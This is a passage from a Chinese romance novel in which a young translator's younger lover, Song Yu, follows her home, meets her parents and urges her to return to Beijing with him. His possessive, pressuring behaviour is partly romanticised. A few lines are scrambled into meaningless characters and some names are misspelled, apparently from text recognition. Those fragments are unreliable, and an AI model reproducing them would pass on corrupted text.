“以后别的男人给的茶水不要乱喝,知道吗?" 燕棠被折腾得晕头转向,还在撑着洗手池还在缓神,又被他拉到桌边的椅子上,被迫坐在他腿上,像被囚住般对着桌面 桌上放着一台笔记本电脑,宋郁打开,解锁,屏幕上就是她发过去的那封邮件。 一还说没有看过,这邮件都被他保存成本地pdf了。 “念给我听。 燕棠动了半天都没法挣开他的手,别无他法,开口:“亲爱的Kiri 才念了个开头,宋郁就生气地打断了她:“你趁我在莫斯科的时候跑了,我才不是你的''亲爱的’!" “Kiril.”她无奈改口。 他又说:“不是说了要照着邮件念吗,把“亲爱的’加上!" 燕棠长叹一声,伸手把电脑关上,侧身抱住他的脖颈,与他脸颊相贴,低声说:“别生气了,好吗?这根本不解决问题。 这亲昵的动作让他稍微平静下来了。 宋郁收紧了抱住她腰际的手臂,闷声问:“为什么离开?" “因为我毕业了。" "你签了给我当翻译的合同,毕业了就可以专心在我身边工作。" “我已经提前跟娜斯佳说过解约。你的中文已经足够应付比赛训练的需求了。" “这都是借口!你知道我会不同意,所以故意不告诉我。 燕棠这回没有吱声。 她的沉默加重了宋郁的愤怒. “我到底哪里还没有做得让你满意?今天那个男人哪里比得上我?他甚至连之前那个姓江的都不如!" “Kiril,我今天来见他只是为了应付父母。 “你为什么要听他们的,不来不行吗?" “因为住在家里.…” “你明明可以和我在北京住! 宋郁仍然无法理解燕棠的举动,他拉着燕棠走到窗边,让她透过窗户去看这个小城市 窄小的街道,陈旧的建筑,密集的蓝色格子窗嵌在发黄的白砖铺就的大楼上,这里的时空仿佛停留在了千禧年,这里的人也停留在了过去。 “你宁愿留在这里,也不愿意和我在一起生活,你到底在想什么一 他就这么将燕棠压在窗边,声音切厉,仿佛如果她拿不出让他满意的答案,他就不会放过她。 一股无名怒火涌上燕棠心头。 “Kiri!”她猛地转过身,用从未有过的强硬态度,对他大声道:“你未经他人苦!" 宋郁动作一顿,愕然看着她。 “你未经他人苦,所以你不能用你优越的人生和优越的观念,去断定别人做了愚蠢的选择。 燕棠直直看着他,声音微微颤抖。 这番话,是她最不想对宋郁说的话。 但这顿她本来想逃避的争吵,还是无可奈何地发生了。 燕棠以为宋郁会更加生气。 她猜测他还可能会说一些诸如“你真是不识趣”“什么都给你买了还说苦”之类的话,然后收拾行李回北京。 可他只是站在那里不动,眼睛还是红的,鼻尖也是红的,心里大概是气得不行,刚刚强忍着撒了一点儿出来,现在正是一副委屈得不得了的样子。 “可我觉得你就是最好的。 他忽然换了个语调,委委屈屈地说。 要不怎么说以柔克刚呢,燕棠的心立刻软了。 她走上前去拥抱他 宋郁像以而那样将她抱在怀里 在床边坐下, 将脸埋进她颈窝里 他的长睫毛扫着她颈侧的皮肤,轻微的瘙痒过后是一阵湿湿凉凉的触感,泪水顺着她的肩侧一路往下淌着。 她又放轻了声音:“我们之前都说好了,这三个月不过是试着接触Kiril,你真的很好,我只是没有找到要留下的理由。 默了半晌,宋郁当做没听见,又用那种小猫呼噜般地语调说:“能不能不吵架了?我很伤心。 “这不是玩笑话。你该回北京了,真的。” “你说什么?我没听清。 “你该回北京了。”她无奈重复。 “再说一遍。" “你该回北京了。” 宋郁忽然抬头,眉眼一弯,忽然露出一个笑来,余下一两滴泪珠在他眼里,像钻石一样闪烁着。 他语气轻快地哄她:“老师这么听话,就跟我一起回去吧。” 凝重的氛围瞬间被打破,燕棠失笑道:“你不要耍赖。” 他还在诱惑她:“我给你发工资,你什么都不用做,就跟我去世界各地玩儿…" “那你给我发一辈子的工资吗?" “当然可以啊。”他想也不想就说。 她笑了:“我都不知道未来会发生什么,你怎么可以那么肯定?" “因为我很喜欢你。”宋郁说。 “对我来说,那不是一个充分的理由。” "为什么?" 在宋郁问出这个问题后,燕棠不再说话了,空气再次陷入安静。 窗外天色变化,太阳从高处落下,云层重善,夕阳余晖像是褪色的老照片。 “我知道你已经看过邮件内容了。Kii,有很多事情,明白的人不用问,不明白的人,解释了千百遍也是说不清楚的。这个城市没那么好,可我目前拼尽全力,最好的选择却只能是重新回到这里。 纵使宋郁足够聪明,可他的人生经验还不够多。 所以他的确无法分辨,燕棠这一番话里,究竟包含着怎样百转千回的思量。 人总会被自己所曾遭受的挫折和苦痛影响思维,左右选择。 燕棠是如此,宋郁也是一样。 他在此刻意识到,燕棠的决心是不会被撒娇卖萌这类手段打动,于是索性收起了那副可爱又可怜的样子。 “可是我讨厌分别。" 宋郁凝视着她,伸手扣住她的脸颊轻柔地抚摸着,被泪水沾湿的睫毛垂下,在眼睑处打下一片阴沉沉的影子。 “老师,我很想一直当你眼中可爱的Kiri啊。但如果你坚持要跟我分开,我是真的会生气的。 少年人声音清朗,明明依旧是温声细语地说话,却平白多了几分怪异的强势。 燕棠搭乘公车回到家时,已经是晚上七点多。父母已经做好了菜,两个人都坐在桌边,一脸严肃地看着她,“你过来坐下。”燕棠慢条斯理地换下鞋子,走到餐桌边坐下,顶着爸妈审视的目光拿起筷子 "我饿了,先吃一口。 “中午没吃吧?" “嗯。 "小姚说你跟别人……” 妈妈说话吞吞吐吐,“这是真的?是谁啊?你不会被别人骗了吧?小姚说那个男孩子是个外国人,不会是来找你的那个学生吧?" 燕棠无动于衷地连啃三大块排骨,面无表情地说:“你们觉得呢?他说什么你就信什么?那个姓姚的上来就说他因为前女友不容易怀孕就甩了她。 还不等爸妈反应过来,她又说:“以后不要安排相亲了,都什么乱七八糟的人。” “啊?" “也不要提生小孩的事情。 "你 “生生生,自己都没活明白,生什么生。”燕崇埋头扒了一大口饭。 父母面面相觑。 女儿在家鲜少生气,连青春叛逆期都仿佛不存在,所以每次她一生气,做父母的反倒不敢多说话了。 最后是妈妈开口了:“哎呀,都怪我,我看那孩子机灵,做考公培训赚了不少钱,还以为能帮到你呢” 她又跟老燕说:“我今天看见棠棠那个补习学生了,那小孩儿长得好,但年纪看上去太小,这肯定是不可能的事。那个小姚编排他和草棠,这是存了什么心哦。以后不要跟他们家来往了。" 夜里,燕棠坐在书桌边上网看考公经验贴。 房间陷入一片寂静,她揉了揉眼睛,向后一仰,卸力般靠在椅背。 今天遇到了太多事情,先是怼了相亲对象,然后又和宋郁在酒店掰扯了一下午一完全是白讲,那小子赖在那里不走,还说了一堆奇奇怪怪的话,花式闹脾气。 他得知她爸妈催着回家了,还想跟着一起过来,她咬死不同意,才满脸失望地放她离开,还不忘要求她不许再和别人相亲。 燕棠叹了口气,忽然忍不住想,自己相亲为什么总是遇上这样奇怪的人? 卧室门开了,妈妈端了杯蜂蜜水过来,主动放软了态度:“棠棠啊,爸爸妈妈也是着急嘛,你别生气了啊,女孩子生气不好。你也体谅一下,我和你爸爸在这里活了一辈子,大家都是这么过的。 燕棠接过蜂蜜水,怔怔看着妈妈把门关上。 门锁咔嚓一声响起,那声音如同一道提示,让她忽然明白了什么。 一也许她自以为的倒霉,并非是真的倒霉。 陈腐的观念、熟人社会、落后的经济,如同一条条线将这座城市网罗成一方独立的世界。 而所谓的阶层、所谓的壁垒,也正是由经济实力、教育水平、思想观念这一层层实质性的东西构筑起来的,全方位的差异, 杨一舟、江聿行、姚正浩.……他们此刻都变成了一张张模糊的面孔,如游魂般徘徊在家乡这个围城之中。 而只要生活在这围城内,她就永远无法躲开这些鬼影。 燕棠忽然想起了江聿行在电话中说过的那句带有个人情绪的忠告。 她不得不承认其中有一点道理,因为当她超越这个壁垒,往上看了一眼后再次回到这片土地时——她感到水士不服了。 这一晚,迷茫再次涌上燕棠的心头, 她隐隐觉得有什么东西在心中发芽,导致她根本看不进那些长篇大论的考公经验贴。 不过这乱七八糟的想法并没有持续到第二天早上。 当她在十点多从床上爬起来,头发乱糟糟地打开卧室的门时,就看见宋郁坐在她家那张陈旧的皮沙发上。 他今天换了身衣服,白T长裤白球鞋,简单干净,一副青春无敌的样子。 她妈妈刚从菜市回来,从塑料袋里拿出杯从路边早餐摊买来的甜豆腐脑递给宋郁,“还没吃早餐吧?尝尝! 燕棠看着那杯一块钱一杯的豆腐脑,正想对她妈说他不吃这玩意儿。 “谢谢水可姨~ 可宋郁先一步接过杯子,对她妈露出一个乖巧的笑容: 贪图美色之人总是要付出代价的。 比如这一刻,燕棠盯着宋郁那张漂亮的脸蛋,终于意识到什么叫做请神容易送神难, 35、三条路 "七天。 宋郁说。 “就算你拿试用期当借口要和我分开,你走的时候距离试用期结束也还有七天一一我们不在一起的日子不作数。那时候说好不许退货,你自己是默认了的,至少这一点你不能反悔吧?反正你不能就这么不要我了。 “就算是这样,昨天我保证了会再去见你,你怎么不打招呼就找过来?" 燕棠洗漱完换了身衣服,坐在沙发上吃着油条泡豆浆,用加密俄语跟宋郁说话。 她这时候才后知后觉地意识到,宋郁之前问她要家里的地址,美名其日是寄东西,怕是在套她的地址! “我打招呼了,你没有理我。”宋郁毫不心虚地说。 她咽下最后一口早餐,拿出刚刚充上电的手机看了一眼,才发现宋郁在早上六点问她今天什么时候来见他,. 昨晚睡前,他坚持要跟她通电话到睡着。 折腾了一整天,燕棠昨晚点击接通后没多久就睡着了,还以为宋郁见她没声儿了会直接挂掉电话,没想到这通电话竟然一直持续到早上,生生把她的手机电量耗尽。 “棠棠,小宋是来这里旅游的,还记得你是他的补习老师,特地来拜访你,你要好好招待才行。" 老燕给他们俩倒了杯茶。 燕棠爸妈两人都是教英语的,跟宋郁交流起来没障碍,估计是燕棠没起床的时候聊了不少,这会儿对宋郁相当热情, “人家大老远过来,你带他好好玩一下。”她妈妈也这么说。 燕棠瞥了一眼角落里摆放的礼品-茅台、燕窝、包装高级的茶叶…宋郁不愧是半个龙的传人,虽然没遗传到黑头发,但在送礼上相当地道。 在家里待着也不是个事儿,燕棠吃完早餐就带着宋郁离开家,在小区的树荫下走着。 她正思索着要怎么跟宋郁说话,可宋郁先开口了,先发制人道:“我还没消气,什么话都至少等过完这七天再说,你不能言而无信。 这一句话直接给燕棠扣了好大一顶帽子,顺带把她在肚子里组织的语言全部打散。 “那七天之后呢?" "七天后我就消气了,到时候再谈。” 燕棠狐疑地看了他一眼。 从昨天的情况来看,宋郁的确是油盐不进。 她半信半疑地问: “那你能保证到时候不无理取闹、不装作听不懂、不动手动脚转移我的注意力吗?" 宋郁不高兴地说:“我是因为舍不得你!" 这话说完,他顿了几秒,才点头,“只要你这七天不提分开的事情,我就听你的。 两人各退一步,终于暂时回到了和谐的氛围。 宋郁提出了他的游玩要求:“你昨天打算和你的相亲对象去哪里玩?我要跟你去。 原来是在这里等着她呢。 这也没什么好瞒的,燕棠诚实说:“本来是打算吃完饭去逛图书市场买考公务员的教材,那里没什么可逛的。" “考公务员?”宋郁微微皱眉,“你打算以后做这个?在这里当公务员?" 燕棠没吱声。 他坚持要跟她一起去图书市场看看,好像非要把她跟别的男人一起出行这个念头都占去。 南市图书市场的历史比燕棠的年纪还要大一些,两层楼,水泥外墙,牌十分简陋。一楼全部是教材,从小学教辅到大学四六级资料,一应俱全 燕棠挑了几本辅导书去结账,宋郁默默跟在她身后,“你怎么知道这几本辅导书有用?昨天那个人告诉你的吗?" “不是,我在网上研究了一些经验贴,说这个系列的很有用。 他又冷不丁说:“所以你很早就打算走了是吧?你是不是根本没想过留在我身边。 燕棠结完账,转身仰头和末郁对视 "不是说不提这件事吗? “刚才说好是你不许提分开。"他又开始抓文字漏洞,“你现在是逃犯,我干里迢迢来抓你,你要给我说法-一你也不许提那封邮件,什么''不合适“未来不一致”。 提起这件事,宋部心里又像是被一千根针扎,了似的,握着她手腕的力道都大了些,低声说:“你用一千一万个理由去解释,好像想得很清楚,你就偏偏想不到我收到邮件时的心情吗? 燕棠默了片刻。 她以为宋郁拥有的东西够多了,从小又是娇生惯养,只有别人顺着他的份儿,那些挑衅他的、试图欺负他的,他哪次不是立刻翻脸。 谁想得到他会追过来,还会这么难过。 她心里升起愧疚,对他说:“对不起,我不知道." “不要跟我道歉,我会原谅你。" 宋郁打断了她的话,“既然都出来了,带我到处走走吧,你以前喜欢去哪里玩?" 见他有意不提这件事,燕棠也顺着他的话头说:“其实我以前就喜欢来这里。” 她指着市场的二楼,“那上面是一家很大的书店,里面什么书都有,市中心的新华书店里没有的书,都能在这里找到。" 没想到宋郁还真的感兴趣,直接牵着她一路往上走。 自从高三毕业后,燕棠就再也没来过这里。 楼要比她印象中还要破,不过陈设都没有一点儿改变,走道里的墙面贴着各种漫画的海报,最新上市的图书、漫画、绘本有序地摆在书架上。 老板坐在木柜后,还戴着那副厚厚的眼镜,只是看上去老了许多,头发都白了。 “我十岁学会自己坐公车,每个周未都会来这里。那时候的手机还没有那么智能,我也没有电脑可以用,纸质书还是主流,这里对我来说就像天堂一样 燕棠有些怀念地跟宋郁说起这些事情。 他认真地听着,陪她穿行在这一道道书架之间,目光始终落在她身上,好像可以想象到她的过去 对十岁的燕棠来说,这方书店很大,从一个书架到另一个书架,一本一本看过去,可以花掉她一整天的时间。 但对现在的燕棠来说,这里忽然变得很小,三分钟便能从这头逛到那头。 跨出书店就是公共洗手间,地面脏乱,燕棠有些尴尬地拉着宋郁离开,说:“走吧,这地方对你来说没什么意思。 “不会啊,我觉得很有意思。 末郁伸手揽住她的腰,让她不要着急,慢慢走。 “你从来不跟我说这些事情,是因为怕我瞧不上吗?" 燕棠微微一怔,刚想低下头,就被他扣住后颈,不得不仰起头和他对视。 他们已经走到了市场的出口处,今天阳光很大,热浪顺着门帘涌入,灿烂的光线也漏了进来。 在宋郁的身后,白漆脱落的墙面上上挂着过期的步步高点读机广告,一侧还有图书折扣促销表。 这简陋的室内,宋郁站在这里显得尤为不真实。 燕棠怔怔看着他,听他开口道:“老师,你知不知道你有多漂亮? "…什么?”她有点儿懵。 “不仅如此,你的语言能力也很好,教我学习的时候总是能提到很多文学知识。我一直想知道是什么样的好地方能养出你这样的女孩子。" 他缓缓说着。 “问你的时候你总不愿意开口,来到这里才知道,原来这里山清水秀,原来你爸妈是英语老师,原来你从小就喜欢看书。你为什么觉得这些事情不值得一提呢?" “这世界上很多人……” “这个世界上每个人都不一样。” 末郁拉起她的手往外走,“你以前还喜欢去什么地方? 这一整天,燕棠就带着宋郁在南市市区里逛。 接下来两天里,她又带宋郁逛了下南市里的景点,两人相伴着一起散心,前几天里紧张焦灼的情绪终于散去,燕棠的话也多了起来,跟他讲了许多小时候细枝未节的事情 “这是南市最大的公园,离我们家很近。我还很小的时候,我爸爸会骑自行车带我来这里的岩洞纳凉。 两人逛了一整天,现在已是夕阳西下的时候。 岩洞很大,门口坐着许多市民,老人小孩居多,一靠近洞口便有一股自然的凉意将人包裹, 岩洞内是一处非常浅的潭水,只到人的小腿肚。潭水一路延伸至洞内深处,与后山的河流连通,常年循环,不仅凉爽,还很清澈,可以供市民游客踩水纳凉 燕棠一时兴起,脱下鞋也加入了踩水的人群,宋郁跟着她一起下水,顺便帮她提鞋。 “舒服吗?”她笑着问。 “嗯,水比我想的还要凉。”宋郁担心她摔倒,一直揽着她的腰。 两人顺着潭水一直往洞内一直走,光线便逐渐变弱,纵使两侧有射灯照亮,也只能勉强看清前路,往里走的人也渐渐少了。 燕棠踢到一颗石子,疼得叫了一声,宋郁直接扣住她的腰把她提起来,“踩在我的脚上。"” “没关系- 她说话的速度还没有他的动作快,等反应过来时,脚底已经踩在了他的脚上。”放我下来吧,我自己能走。 “”这里石子多,我托着你。" 宋郁一手提鞋,一手撑着她的后背,轻轻松松带着她往里继续走为了维持平衡,燕棠只好牢牢抱住他的腰,这姿势让她整个人几乎贴在了宋郁身上。四周越来越黑,她的头就靠在他胸膛前,只听得到潺的水声,还有他沉稳的心跳明明都上过床了,她此刻的心脏却忽然跳得很快。“走到头了。”宋郁站定。“逛完这里,好像也没什么景点可以去了。南市就是这样,城市小,公园小,岩洞也小。”燕棠说.宋郁“嗯”了一声,“你也是小小一个。”他低下头,又说:“别乱动。"燕棠一怔,下一秒便被亲住了唇瓣。“刚才在洞口看你脱鞋踩水的样子就想这么做了。这里没有人,放松一点儿。”他稍微有一下没一下地和她亲吻,过了一会儿才放开她,顺着她刚才的话说下去。“这个城市确实很小。如果你喜欢这里,等有空的时候我可以陪你回来。北京比这里大得多,好玩儿的地方也多,我们还有很多地方没有一起去过。燕棠没想到他会提起这个,默了片刻,说:“北京是很大,机会也很多,但我已经努力试过了,没有适合我的机会。“那就再等等。你其实是担心在北京生活的问题吧?为什么不早点儿跟我说呢?你跟我住在一起,继续当我的翻译。要是想工作,我就让我爸给你安排个轻松的工作,到时候也好请假和我一起去打比赛。岩洞漆黑,潭水冰凉,只有宋郁高大的身体是暖的。他稳稳当当地抱着她,在这昏暗的天地里给她带来了无比的安全感,就连那还带着少年气的声音都让人安心又信服。“你如果想读书,我可以供你去国外读大学。等我在北京把大学念完,到时候你想读什么学校、想学什么专业,随便选,我想办法送你进去。燕棠听他认真地说了这么一大段,忍不住笑着问:“"你这么大方要送我继续念书,为什么还要等你把大学念完?"“因为那时候我才能陪你一起过去,我今年九月就要入学了,我爸妈很希望我在中国念大学。黑暗中,宋郁原本撑住她后背的手往上,轻轻摩着她的后颈,语气忽然带上一丝不易察觉的强势。“你要是想自己找工作也可以,你不是还可以考研吗?但你至少得留在我身边。我说了不想跟你分开,不是在开玩笑,唯独这个不可以接受。他把条件都抛出来后,又放软了声音,轻声说:“只要跟我好好在一起,还会有什么困难呢?我不是你的敌人,是喜欢你的人,你心里有疑虑要跟我说,不应该防备我。这句话如一根针,轻轻挑破了燕棠心头那层薄膜,一股温热的暖流在她心头倾泻而出。宋郁又低下头和她接吻,这亲吻逐渐加深。那缠绵的水声,都不知道是脚下的潭水发出的,还是两人唇齿间泄出来的.燕棠又感到一股似曾相识的晕眩,她感觉自己又要被宋郁捕获了他用的网如此细腻,如此温柔,就这么悄无声息地渗入她的过去,试图将她躲藏的身体彻底从这破败的巢穴里拉出来。“答应我吧,跟我回去。”宋郁轻声呢喃。这一回,燕棠没有立刻拒绝。他三番四次地这么提,各种情形都跟她分析了一遍,最不济的情况,也是燕棠暂时住在他身边去找工作,找不到再回老家也是一样的。可她习惯三思而后行,“"…我要再想想。"“你还有什么顾虑?”宋郁察觉到了她有一丝动摇,笑着问:“我是不是该把你带回酒店拷问一下?"燕棠被他逗笑了,“可是我该回家了。”“那就告诉你爸妈,你今晚要给学生补习。”说是这么说,宋郁还是把燕棠送回了家。他贴心地再给她一点时间想明白——他相信燕棠清楚,刚才在岩洞里说的那番话,对她现在来说是最好的选择。居民楼没有电梯,燕棠爬上楼到家,站在客厅的窗口边往下看,发现宋郁竟还站在楼下。他站在路灯下,灯光自上而下罩在他身上,俊秀的眉眼像镀了层光晕。见燕棠出现在窗边,他朝她笑了笑。“真是个好看的男孩子呢。”妈妈不知道什么时候冷不丁出现在身后。燕棠吓了一大跳,“妈,你走路怎么没声儿?"“我又不是猫,走路怎么可能没声音,是你看人家都看呆了。”“我才没有呢。”燕棠转身往卧室走。 妈妈说:“你有个包裹到了,给你放在书桌上。” 燕棠回到卧室,看见桌面上放着一个方形的盒子,打开一看发现竟然是译作《苦月亮》的样书。 不愧是大出版社出版的图书,封面设计简单高级,底色是黑色,一轮银色的月高是特殊材质制成,封皮上写着“青年译者扶持计划获奖译作” 她惊喜地把书拿出来看了又看,指尖下意识抚摸着封面那处“燕棠译”,心里这一刻涌上前所未有的高兴。 "妈!!!爸!!!我翻译的书真的要出版啦!!!!!" 这一刻,什么烦恼、什么迷茫都被抛在了脑后,燕棠像个小孩子一样拿着书冲出卧室,在爸爸妈妈面前炫耀了半天。 她上一次这么激动,还是第一次英语考了满分的时候。 燕棠还给宋郁拍了一张书的照片,但没等他回复,就立刻冲到电脑面前打开邮箱,准备给章主编和郑老师发去感谢的邮件。 回到家后,燕棠没什么人要联系,好几天没查看邮件,这会儿一打开邮箱,竟然发现一溜儿的新邮件。 其中一条吸引住了她的注意力。 燕女士您好, 您讨泽的短篇小说《黑者》已通过中协青年交流文库翻泽组委会审核,入选中俄文化友好促进基金会译者库,如符合条件(点击此处查看),您可选择成为签约译者,并享有基金会向签约译者得供的学习交流机会 如有问题,请随时与我们联系。 中俄青年交流文库翻译组委会 《愚者》是郑老师在大四下学期给燕棠的试译小说,燕棠那时候忙着弄毕业论文和对付崔平山,忙得晕头转向。虽然郑老师给她发了试译工作的一系列资料,但燕棠看了试译要求,并没有过多关注其他福利条件,她对这些事情都不报太多希望。邮件是三天前就发出了,燕棠这时候才看见,连忙点开邮件附上的链接仔细看了一遍.签约译者享有的条件比她想的要优厚,其中有一项:如果拥有至少一份出版译作,可以申请加入今年九月开始的莫斯科xx大学的翻译系培训营,表现优秀者,有可能入选该校翻译系攻读硕十或博十学位。燕棠呼吸一滞——左右算下来,她现在可不止有一份出版的译作了, 她有些茫然地抬起头,看向卧室的窗外。 夜色浓重,蝉鸣四起,浓绿的树木静立在小区之中。 现在,燕棠忽然多了好多个选择。 一留在家乡考公,拥有一份稳定的工作,留在父母身边不吃喝。跟宋郁回到北京,要么考研、要么找工作、要么吃喝玩乐几年再读书,到时候甚至可以转专业。和基金会签约,成为签约译者,承担固定的翻译任务,然后申请培训营作为跳板,去莫斯科念硕士。如果是第一个和第三个选项,她会跟宋郁分隔两地——而宋郁今天才明确地说了,他会留在北京,要她也留在他身边,她该怎么选呢?房门忽然敲响,是妈妈。 “棠棠,你那个学生来了有几天了吧?他来了家里两次,我们都没留饭,明天让他来家里吃个饭吧。 36、她做决定后 第二天上午下了小雨,午后太阳照旧从云层里冒出来,阳光里裹着一股清爽的湿意,宋郁在南市停留太久,自己找了个设施还算齐全的健身房做恢复性训练,在下午两点多时上门,又提了一堆礼物,。“我爸妈还在外面买菜,有个食材难买,我爸非要让你尝尝,估计还得等一会儿。”燕棠领他进门。“没关系。"宋郁见没有其他人在家,把礼品放下,直接从后抱住了燕,黏黏糊糊地说:“我想去看你的房间。"反正家里没别人,燕棠带他进了自己的房间。这房间不算大也不算小,一切都是按照她的尺寸布置的,女孩子住着刚刚好,而宋郁一站进来,所有物品的比例就显得小了,尤其是床燕棠没忍住比划了一下,要是他躺在床上,估计小腿往下得悬在外面了。“这里面都是你的味道。“宋郁又开始念叨他的气味玄学,随后站在燕棠的书架面前端详。“全是中文,你又看不懂。 “我看得懂。” 宋郁伸手从书籍之中捻住一张纸片。 “这上面写的是"江聿行’三个字。 燕棠一愣,有些茫然地看他把那张纸抽出来。 暗恋时期容易做一些诸如用暗恋对象的名字来练字一类的傻事儿,燕棠早就忘了。估计是在上大学的时候爸妈给她收拾房间,不敢乱,扔东西,直接把这些废纸一股脑儿收了起来 没想到宋郁这小子眼尖手快,直接找了出来。 他拿着那几张废纸不放手,礼貌地问:“我能看吗? 燕棠伸手去拿,“没什么好看的。” 结果宋郁手一抬,她够不着。 他垂眸盯着她,“难道有什么我不能看的吗? 燕棠觉得好笑,“没有什么见不得人的。”见他还在纠结那三个字,好像有点儿不高兴了,她只好说:“看吧看吧。 得到了允许,宋郁翻开了那几张纸,燕棠站在他旁边也忍不住往纸上瞟。 过去了那么多年,她哪还记得上面写了什么,只觉得自己十几岁的时候绝不可能写出什么让人大跌眼镜的东西。 纸翻到最后一页,上面的字是最多的,密密麻麻一大片,燕定晴一看,心道不好。 这是她当年写给江聿行的情书草稿。 不过上面的中文太多了,宋郁不可能全部看得懂,这张纸上又没写江聿行的名字,他应该不知道里面写的到底是什么东西, 燕棠有些心虚地看了宋郁一眼,只见他眉头微皱,唇瓣抿着,目光盯着纸上的字一动不动,像是大脑在努力运转搜索语言库。 之前补习的时候,他写不出题目就是这个样子,看来确实是看不懂。 正当她把心放回肚子里的时候,宋郁拿出了手机。 点开软件,拍照识字,复制到翻译软件,中译俄一气呵成。 他放下纸张,没好气地说:“看来你以前就很会写。 燕棠叹了口气,从他手里把这几张纸抽出来,揉成团扔进垃圾桶,用中文念叨:“让你不要看,你非要看。现在看了又不高兴,真难哄。 宋郁听懂了一半,盯着她问:“刚才最后三个字是什么意思?" “我说你真可爱。”燕棠用俄语说。 可署 不具冷 A-工 宋郁有业此州 不疑地i "你最诉是不是用我听 燕棠怕了他的直觉,捧起他的脸,踮起脚往他的鼻尖上亲了一口,老实说: 了很多奇怪的 话 “我刚才的意思是,不知道该怎么哄你。 “我很好哄啊。" 他嘟囔了一句,低下头又想跟她接吻。 就在这时,燕棠忽然听见大门外的走道上传来脚步声和钥匙的响声,那种根植在本能中的警觉让她迅速反应过来,拉着宋郁走出房间。 两人刚在沙发上,她爸妈正好开门走进,家里一瞬间就热闹了起来。 晚上开饭时,桌上摆着的菜式几乎是过年同款,燕棠觉得爸妈有点儿过分热情了,吃饭时心里直犯嘀咕。 她爸妈几乎是轮番在跟宋郁聊天。 “用不用得惯筷子?" “之前棠棠遇到的事情是你帮忙解决的吧?" “家里有兄弟姐妹吗?" “爸爸妈妈是做什么工作的呀?" "你.你还没上大学?!" 问到这里,燕棠感觉爸妈的视线终于往她这里看了过来。 她埋头吃饭,装作没看见。 这顿饭吃了很久,饭后聊天的场地又转移到客厅,她爸妈问什么,宋郁就答什么。他以为燕棠父母对他的家世很感兴趣,连“爷爷奶奶以前在苏联留学,退休后正在x省担任书画协会的会长”都交代了。 直到他说要给她爸妈也带一幅爷爷的字画,她爸妈不敢收这样的礼,才连忙把话头停了。 大约在八九点的时候,燕棠送宋郁下楼。 他拉着燕棠走在小区里,快到门口的时候,忽然学着她爸妈叫她:“。" 燕棠一愣,笑了出来,“突然被你这么叫,还挺奇怪的。" “这个称呼很可爱。”他低头看向她,问:“今天我做得好吗?" “嗯,你今天做得很好。" “你的爸妈想见我,只是因为我是你的补习学生吗?” 燕棠抬起头和他对视,借着路灯的光线,目光在他尚带青涩的眉眼间徘徊, 她没有正面回答,而是说:“也许就跟上次你家里请我吃饭是一样的。” 空气忽然陷入片刻的安静。 宋郁静静和她对视,过了一会儿才说:“是的,都一样很愉快。 “嗯。”燕棠笑了笑。 “接下来还有两天,你愿意带我去你以前的学校看看吗?然后我们就回北京,俱乐部最近正准备聚餐,他们都在问你这段时间怎么没来。 燕棠动作一顿,轻声说:“我还没有答应你呢。 “那你再考虑两天,过两天再答应我。”他笑着说。 等宋郁坐上回酒店的车后,燕棠回到家里,刚一进卧室,妈妈就来敲门了。 她打开门,和妈妈对视一秒,立刻彻底明白了现状,忍不住问:“真的要聊吗?" “当然了,不跟你好好说说,我都睡不着觉。 妈妈把她推进房间,关门上锁,母女俩并排在床边坐下。 “哎哟。”她妈妈叹了口气,“怎么年纪这么小,我还以为至少上大学了,要是放我班上,这孩子还在准备高考呢。没想到你有这个本事 现在是七月,高考已经结束了。 她妈默了一秒,又问:“那你们现在 凭借对亲妈的了解,燕棠脑中警铃大作,直接打断了她,“别问一些奇怪的问题!” 妈妈盯着她看了几秒,扭过头去。 忍了又忍,实在没忍住,她又转头看向燕棠,把最关心的问题问了出来:“怎么避孕的?" 家里风气传统,十八岁以前禁止早恋,十八岁以后父母也对恋爱问题绝口不提,毕业后话题直接升级至相亲结婚生子。 燕棠不敢置信地看着她妈:“你关心这个?之前催我生孩子的是谁?" “那婚前意外怀孕跟婚后生小孩能一样吗?那孩子去年十一月才满十八岁,你这个月二十二,你自己做一下减法差几岁?我听说好多小男孩儿不懂事,要是闹出点儿.…" 燕棠听不下去了,气沉丹田,重重吐出两个字:“戴!套!" 听到这两个字,她妈也终于安静如鸡。 第一次和女儿聊这种两性话题,其实妈妈也很紧张,又怕惹毛女儿,又怕她自己不重视 母女俩都从刚才那有些尴尬的局面里缓了缓心情。 燕棠听她妈再次开口:“说实话,妈妈觉得那个孩子挺不错,性格乖,长得也好。我在学校那么多年,早恋的学生一眼就看得出来,他吃饭的时候总是看你,眼里是很喜欢你的样子。 她没想到妈妈会说出这番话来,心里很意外,稍微卸下了刚才的戒备。 可接下来,妈妈说话口风又是一转,“就是年纪太小….年纪小都是其次,你今天也听见他家里的情况了,他家里知道这个事情吗?" 燕棠不说话,日光落在角落处的垃圾桶里,下午扔掉的纸团还堆在里头, 妈妈还在继续说。 “再说了,新鲜激情能有几年啦?万一你们两个好到要谈婚论嫁那一步——你找个差不多的人家,出什么事了爸妈还能帮衬一下。 "如果你什么本事都没有,我和你爸又帮不上忙,你在那种人家里是一句话都说不上的,大事都要被人捏住,叫你往东,你没本事往西。你不光要考虑人家能给你什么,你还要想你能给别人什么,懂不懂? 这些道理,燕棠都隐约想得到,只是宋郁浓郁又热烈的追逐,让她在这些天里暂时陷入了非理性的心动里。 当妈妈这么掰开了揉碎了跟她讲,把那一层层温情的东西剥掉,露出人与人关系里最本质、最冷酷的那一面时,她突然被当头泼了盆冷水。 “妈妈知道你在大事上是想得明白的,到底要怎么做,你自己把握吧。”妈妈离开房间时这么说。 这一晚,燕棠都没怎么睡好。 她翻来覆去,脑子里有无数思绪翻涌,等终于疲倦地睡下时,梦里竟是和宋郁一起度过许多快乐的画面 她忽然意识到,也许她比自己想的要更喜欢宋郁。 而她所有的恐惧,都来源于能力不足。 这一觉直接睡到了中午十一点,外头又下起了雨。南市的夏季十分炎热,但总是有几天会突降暴雨,雨还没停,太阳却先出来了。 燕棠走到楼下,宋郁就举着伞站在树下。 黑衣长裤,个子高挑。 重重雨幕横亘在他们之间,豆大的雨滴落在地面上,水花飞溅,让那道身影变得不太真切。 ''雨要什么时候才能停?”坐上车时,她看着车窗外,忍不住问。 宋郁拿着手机查天气预报,高兴地说:“快了。 这次宋郁连燕崇的中学也要去,就是存了要把她和江聿行的回忆全部踩一遍的邪恶念头。也不知道是不是老天有眼,他们抵达学校门口时,恰好雨就停了。 现在是暑假,只有高三生还在补课,门卫大爷给她的班主任刘老师打了个电话,确认了身份后很快放他们进去。 燕棠的中学是南市的重点中学之一,她一毕业,这里就拓宽了校区,新修了一个大操场,又盖了两栋楼。 公江 正1东3 P. 几个女孩子看了看燕棠,又看了看宋郁,眼神儿都直了。 